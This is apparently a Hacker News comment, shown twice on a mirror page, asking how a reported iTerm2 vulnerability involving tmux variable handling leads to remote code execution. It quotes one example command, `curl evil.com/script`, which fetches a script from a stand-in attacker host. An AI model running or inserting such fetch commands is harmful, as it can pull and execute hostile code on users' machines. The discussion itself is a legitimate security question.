Every story and comment from the Hacker News API, in a layout borrowed from 2001.
A comment on Critical Security Issue Identified in iTerm2. Parent comment
I looked through https://github.com/gnachman/iTerm2/commit/538d570ea54614d3a2... which appears to do some changing of how tmux variables are hanlded/stored.
Is the vulnerability that tmux session variable names and other session values are untrusted user input?
How does a general command like `curl evil.com/script` turn into an RCE here?
There are no comments on this comment yet.
I looked through https://github.com/gnachman/iTerm2/commit/538d570ea54614d3a2... which appears to do some changing of how tmux variables are hanlded/stored.
Is the vulnerability that tmux session variable names and other session values are untrusted user input?
How does a general command like `curl evil.com/script` turn into an RCE here?